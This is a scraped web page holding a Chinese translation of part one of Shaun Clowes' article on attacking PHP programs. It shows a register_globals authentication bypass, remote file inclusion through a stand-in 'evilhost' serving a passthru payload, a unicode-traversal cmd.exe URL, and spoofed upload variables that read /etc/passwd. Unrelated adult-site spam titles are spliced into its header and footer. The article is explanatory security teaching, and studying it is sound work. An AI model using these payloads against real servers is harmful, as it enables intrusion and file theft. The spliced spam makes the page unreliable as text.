翻譯:analysist(分析家)
來源:http://www.china4lert.org

如何對(duì)PHP程序中的常見漏洞進(jìn)行攻擊(上)

原著:Shaun Clowes <http://www.securereality.com.au/>
翻譯:analysist <http " /> 亚洲欧美第一页,国产午夜精品片一区二区三区,日韩欧美激情

一区二区久久-一区二区三区www-一区二区三区久久-一区二区三区久久精品-麻豆国产一区二区在线观看-麻豆国产视频

如何對(duì)PHP程序中的常見漏洞進(jìn)行攻擊(上)

如何對(duì)php程序中的常見漏洞進(jìn)行攻擊(上)
翻譯:analysist(分析家)
來源:http://www.china4lert.org

如何對(duì)php程序中的常見漏洞進(jìn)行攻擊(上)

原著:Shaun Clowes <http://www.securereality.com.au/>
翻譯:analysist <http://www.nsfocus.com/>

之所以翻譯這篇文章,是因?yàn)槟壳瓣P(guān)于CGI安全性的文章都是拿Perl作為例子,而專門介紹ASPphp或者JSP安全性的文章則很少。Shaun Clowes的這篇文章比較全面地介紹了php的安全問題,原文可以在http://www.securereality.com.au/studyinscarlet.txt找到。

由于原文比較長,而且有相當(dāng)一部分是介紹文章的背景或php的基礎(chǔ)知識(shí),沒有涉及到php安全方面的內(nèi)容,因此我沒有翻譯。如果你想了解這方面的知識(shí),請(qǐng)參考原文。

文章主要從全局變量,遠(yuǎn)程文件,文件上載,庫文件,Session文件,數(shù)據(jù)類型和容易出錯(cuò)的函數(shù)這幾個(gè)方面分析了php的安全性,并且對(duì)如何增強(qiáng)php的安全性提出了一些有用的建議。

好了,廢話少說,我們言歸正傳!

[全局變量]
php中的變量不需要事先聲明,它們會(huì)在第一次使用時(shí)自動(dòng)創(chuàng)建,它們的類型也不需要指定,它們會(huì)根據(jù)上下文環(huán)境自動(dòng)確定。從程序員的角度來看,這無疑是一種極其方便的處理方法。很顯然,這也是快速開發(fā)語言的一個(gè)很有用的特點(diǎn)。一旦一個(gè)變量被創(chuàng)建了,就可以在程序中的任何地方使用。這個(gè)特點(diǎn)導(dǎo)致的結(jié)果就是程序員很少初始化變量,畢竟,當(dāng)它們第一次創(chuàng)建時(shí),他們是空的。

很顯然,基于php應(yīng)用程序的主函數(shù)一般都是接受用戶的輸入(主要是表單變量,上載文件和Cookie等),然后對(duì)輸入數(shù)據(jù)進(jìn)行處理,然后把結(jié)果返回到客戶端瀏覽器。為了使php代碼訪問用戶的輸入盡可能容易,實(shí)際上php是把這些輸入數(shù)據(jù)看作全局變量來處理的。

例如:

<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>

很顯然,這會(huì)顯示一個(gè)文本框和提交按鈕。當(dāng)用戶點(diǎn)擊提交按鈕時(shí),“test.php”會(huì)處理用戶的輸入,當(dāng)“test.php”運(yùn)行時(shí),“$hello”會(huì)包含用戶在文本框輸入的數(shù)據(jù)。從這里我們應(yīng)該看出,攻擊者可以按照自己的意愿創(chuàng)建任意的全局變量。如果攻擊者不是通過表單輸入來調(diào)用“test.php”,而是直接在瀏覽器地址欄輸入http://server/test.php?hello=hi&setup=no,那么,不止是“$hello”被創(chuàng)建,“$setup”也被創(chuàng)建了。

譯者注:這兩種方法也就是我們通常說的“POST”和“GET”方法。
下面的用戶認(rèn)證代碼暴露了php的全局變量所導(dǎo)致的安全問題:

<?php
  if ($pass == "hello")
    $auth = 1;
  ...
  if ($auth == 1)
    echo "some important information";
?>

上面的代碼首先檢查用戶的密碼是否為“hello”,如果匹配的話,設(shè)置“$auth”為“1”,即通過認(rèn)證。之后如果“$suth”為“1”的話,就會(huì)顯示一些重要信息。

表面看起來是正確的,而且我們中有相當(dāng)一部分人是這樣做的,但是這段代碼犯了想當(dāng)然的錯(cuò)誤,它假定“$auth”在沒有設(shè)置值的時(shí)候是空的,卻沒有想到攻擊者可以創(chuàng)建任何全局變量并賦值,通過類似“http://server/test.php?auth=1”的方法,我們完全可以欺騙這段代碼,使它相信我們是已經(jīng)認(rèn)證過的。

因此,為了提高php程序的安全性,我們不能相信任何沒有明確定義的變量。如果程序中的變量很多的話,這可是一項(xiàng)非常艱巨的任務(wù)。

一種常用的保護(hù)方式就是檢查數(shù)組HTTP_GET[]或POST_VARS[]中的變量,這依賴于我們的提交方式(GET或POST)。當(dāng)php配置為打開“track_vars”選項(xiàng)的話(這是缺省值),用戶提交的變量就可以在全局變量和上面提到的數(shù)組中獲得。

但是值得說明的是,php有四個(gè)不同的數(shù)組變量用來處理用戶的輸入。HTTP_GET_VARS數(shù)組用來處理GET方式提交的變量,HTTP_POST_VARS數(shù)組用于處理POST方式提交的變量,HTTP_COOKIE_VARS數(shù)組用于處理作為cookie頭提交的變量,而對(duì)于HTTP_POST_FILES數(shù)組(比較新的php才提供),則完全是用戶用來提交變量的一種可選方式。用戶的一個(gè)請(qǐng)求可以很容易的把變量存在這四個(gè)數(shù)組中,因此一個(gè)安全的php程序應(yīng)該檢查這四個(gè)數(shù)組。

[遠(yuǎn)程文件]
php是一種具有豐富特性的語言,提供了大量的函數(shù),使編程者實(shí)現(xiàn)某個(gè)功能很容易。但是從安全的角度來看,功能越多,要保證它的安全性就越難,遠(yuǎn)程文件就是說明這個(gè)問題的一個(gè)很好的例子:

<?php
  if (!($fd = fopen("$filename", "r"))
    echo("Could not open file: $filename<BR>/n");
?>

上面的腳本試圖打開文件“$filename”,如果失敗就顯示錯(cuò)誤信息。很明顯,如果我們能夠指定“$filename”的話,就能利用這個(gè)腳本瀏覽系統(tǒng)中的任何文件。但是,這個(gè)腳本還存在一個(gè)不太明顯的特性,那就是它可以從任何其它WEB或FTP站點(diǎn)讀取文件。實(shí)際上,php的大多數(shù)文件處理函數(shù)對(duì)遠(yuǎn)程文件的處理是透明的。

例如:
如果指定“$filename”為“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
則上面的代碼實(shí)際上是利用主機(jī)target上的unicode漏洞,執(zhí)行了dir命令。

這使得支持遠(yuǎn)程文件的include(),require(),include_once()和require_once()在上下文環(huán)境中變得更有趣。這些函數(shù)主要功能是包含指定文件的內(nèi)容,并且把它們按照php代碼解釋,主要是用在庫文件上。

例如:
<?php
  include($libdir . "/languages.php");
?>

上例中“$libdir”一般是一個(gè)在執(zhí)行代碼前已經(jīng)設(shè)置好的路徑,如果攻擊者能夠使得“$libdir”沒有被設(shè)置的話,那么他就可以改變這個(gè)路徑。但是攻擊者并不能做任何事情,因?yàn)樗麄冎荒茉谒麄冎付ǖ穆窂街性L問文件languages.php(perl中的“Poison null byte”攻擊對(duì)php沒有作用)。但是由于有了對(duì)遠(yuǎn)程文件的支持,攻擊者就可以做任何事情。例如,攻擊者可以在某臺(tái)服務(wù)器上放一個(gè)文件languages.php,包含如下內(nèi)容:

<?php
  passthru("/bin/ls /etc");
?>

然后把“$libdir”設(shè)置為“http://<evilhost>/”,這樣我們就可以在目標(biāo)主機(jī)上執(zhí)行上面的攻擊代碼,“/etc”目錄的內(nèi)容作為結(jié)果返回到客戶的瀏覽器中。

需要注意的是,攻擊服務(wù)器(也就是evilhost)應(yīng)該不能執(zhí)行php代碼,否則攻擊代碼會(huì)在攻擊服務(wù)器,而不是目標(biāo)服務(wù)器執(zhí)行,如果你想了解具體的技術(shù)細(xì)節(jié),請(qǐng)參考:http://www.securereality.com.au/sradv00006.txt

[文件上載]
php自動(dòng)支持基于RFC 1867的文件上載,我們看下面的例子:

<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>

上面的代碼讓用戶從本地機(jī)器選擇一個(gè)文件,當(dāng)點(diǎn)擊提交后,文件就會(huì)被上載到服務(wù)器。這顯然是很有用的功能,但是php的響應(yīng)方式使這項(xiàng)功能變的不安全。當(dāng)php第一次接到這種請(qǐng)求,甚至在它開始解析被調(diào)用的php代碼之前,它會(huì)先接受遠(yuǎn)程用戶的文件,檢查文件的長度是否超過“$MAX_FILE_SIZE variable”定義的值,如果通過這些測試的話,文件就會(huì)被存在本地的一個(gè)臨時(shí)目錄中。

因此,攻擊者可以發(fā)送任意文件給運(yùn)行php的主機(jī),在php程序還沒有決定是否接受文件上載時(shí),文件已經(jīng)被存在服務(wù)器上了。

這里我就不討論利用文件上載來對(duì)服務(wù)器進(jìn)行DOS攻擊的可能性了。

讓我們考慮一下處理文件上載的php程序,正如我們上面說的,文件被接收并且存在服務(wù)器上(位置是在配置文件中指定的,一般是/tmp),擴(kuò)展名一般是隨機(jī)的,類似“phpxXuoXG”的形式。php程序需要上載文件的信息以便處理它,這可以通過兩種方式,一種方式是在php 3中已經(jīng)使用的,另一種是在我們對(duì)以前的方法提出安全公告后引入的。

但是,我們可以肯定的說,問題還是存在的,大多數(shù)php程序還是使用老的方式來處理上載文件。php設(shè)置了四個(gè)全局變量來描述上載文件,比如說上面的例子:

$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c://temp//hello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")

然后php程序開始處理根據(jù)“$hello”指定的文件,問題在于“$hello”不一定是一個(gè)php設(shè)置的變量,任何遠(yuǎn)程用戶都可以指定它。如果我們使用下面的方式:

http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

就導(dǎo)致了下面的php全局變量(當(dāng)然POST方式也可以(甚至是Cookie)):

$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"

上面的表單數(shù)據(jù)正好滿足了php程序所期望的變量,但是這時(shí)php程序不再處理上載的文件,而是處理“/etc/passwd”(通常會(huì)導(dǎo)致內(nèi)容暴露)。這種攻擊可以用于暴露任何敏感文件的內(nèi)容。

我在前面已經(jīng)說了,新版本的php使用HTTP_POST_FILES[]來決定上載文件,同時(shí)也提供了很多函數(shù)來解決這個(gè)問題,例如有一個(gè)函數(shù)用來判斷某個(gè)文件是不是實(shí)際上載的文件。這些函數(shù)很好的解決了這個(gè)問題,但是實(shí)際上肯定有很多php程序仍然使用舊的方法,很容易受到這種攻擊。

作為文件上載的攻擊方法的一個(gè)變種,我們看一下下面的一段代碼:

<?php
  if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>

如果攻擊者可以控制“$theme”的話,很顯然它可以利用“$theme”來讀取遠(yuǎn)程系統(tǒng)上的任何文件。攻擊者的最終目標(biāo)是在遠(yuǎn)程服務(wù)器上執(zhí)行任意指令,但是他無法使用遠(yuǎn)程文件,因此,他必須得在遠(yuǎn)程服務(wù)器上創(chuàng)建一個(gè)php文件。這乍看起來好象是不可能的,但是文件上載幫了我們這個(gè)忙,如果攻擊者先在本地機(jī)器上創(chuàng)建一個(gè)包含php代碼的文件,然后創(chuàng)建一個(gè)包含名為“theme”的文件域的表單,最后用這個(gè)表單通過文件上載把創(chuàng)建的包含php代碼的文件提交給上面的代碼,php就會(huì)把攻擊者提交的文件保存起來,并把“$theme”的值設(shè)置為攻擊者提交的文件,這樣file_exists()函數(shù)會(huì)檢查通過,攻擊者的代碼也將執(zhí)行。

獲得執(zhí)行任意指令的能力之后,攻擊者顯然想提升權(quán)限或者是擴(kuò)大戰(zhàn)果,而這又需要一些服務(wù)器上沒有的工具集,而文件上載又一次幫了我們這個(gè)忙。攻擊者可以使用文件上載功能上載工具,把她們存在服務(wù)器上,然后利用他們執(zhí)行指令的能力,使用chmod()改變文件的權(quán)限,然后執(zhí)行。例如:攻擊者可以繞過防火墻或IDS上載一個(gè)本地root攻擊程序,然后執(zhí)行,這樣就獲得了root權(quán)限。

<未完待續(xù)>

php技術(shù)如何對(duì)PHP程序中的常見漏洞進(jìn)行攻擊(上),轉(zhuǎn)載需保留來源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 久久精品大片 | 狼人综合伊人网 | 四虎4hu亚洲精品 | 国产精品自拍视频 | 日本久久伊人 | 日韩中文字幕在线播放 | 中国一级大黄大片 | 国产亚洲综合视频 | 91精品免费观看老司机 | 婷婷开心激情 | 激情在线小说图片视频区 | 成人爽a毛片在线视频网站 成人丝袜激情一区二区 | 天天综合网天天综合色不卡 | 日韩中文精品亚洲第三区 | 国产自愉怕一区二区三区 | 久久99精品久久久久久久不卡 | 欧美视频网址 | 高清不卡免费一区二区三区 | 91在线一区二区三区 | 97国产成人精品免费视频 | 一区二区视频在线观看 | 国产高颜值露脸在线观看 | 91在线综合| 色老板导航 | 国产福利91精品一区二区 | 国产一区三区二区中文在线 | 99在线在线视频免费视频观看 | 精品欧美亚洲韩国日本久久 | 国内精品视频一区 | 国产一区二区精品久久岳 | 韩国美女免费网站视频 | 美女视频啪啪 | 国产精品大全国产精品 | 国久久| 伊人无码高清 | 精品欧美一区二区三区在线观看 | 亚洲天堂久久精品 | 好吊妞免费视频 | 免费看的黄网站 | 思思久久99热这里只有精品66 | 91精品啪在线观看国产日本 |